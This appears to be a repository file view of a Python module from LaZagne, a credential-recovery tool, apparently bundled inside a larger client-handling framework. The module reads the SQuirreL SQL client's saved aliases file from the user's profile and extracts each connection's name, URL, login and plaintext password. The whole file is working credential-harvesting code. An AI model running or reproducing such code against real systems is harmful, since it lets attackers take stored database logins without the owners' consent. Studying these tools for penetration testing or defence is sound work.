blob: 4115facfeaee40de432c5c6949168f7c465abdea (
plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
# -*- coding: utf-8 -*-
import os
from xml.etree.cElementTree import ElementTree
from foreign.client_handling.lazagne.config.constant import constant
from foreign.client_handling.lazagne.config.module_info import ModuleInfo
class Squirrel(ModuleInfo):
def __init__(self):
ModuleInfo.__init__(self, name='squirrel', category='databases')
def run(self):
path = os.path.join(constant.profile['USERPROFILE'], u'.squirrel-sql', u'SQLAliases23.xml')
if os.path.exists(path):
tree = ElementTree(file=path)
pwd_found = []
elements = {'name': 'Name', 'url': 'URL', 'userName': 'Login', 'password': 'Password'}
for elem in tree.iter('Bean'):
values = {}
for e in elem:
if e.tag in elements:
values[elements[e.tag]] = e.text
if values:
pwd_found.append(values)
return pwd_found
|